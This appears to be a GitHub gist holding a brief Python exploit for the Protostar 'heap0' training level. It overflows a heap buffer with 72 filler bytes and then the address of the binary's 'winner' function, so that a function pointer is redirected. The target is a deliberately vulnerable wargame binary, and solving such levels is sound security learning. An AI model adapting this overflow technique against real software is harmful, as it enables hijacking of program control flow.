Created
September 9, 2018 16:32
-
-
Save TheRealJunior/a2aa8429b1b64a7f3cc797135a68a5ff to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess | |
input = 'a' * 64 + 'b' * 8 + '\x64\x84\x04\x08' | |
proc = subprocess.Popen(['/opt/protostar/bin/heap0',input], stdin=subprocess.PIPE, stdout=subprocess.PIPE) | |
stdout,stderr = proc.communicate() | |
print stdout | |
# 08048464 g F .text 00000014 winner |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment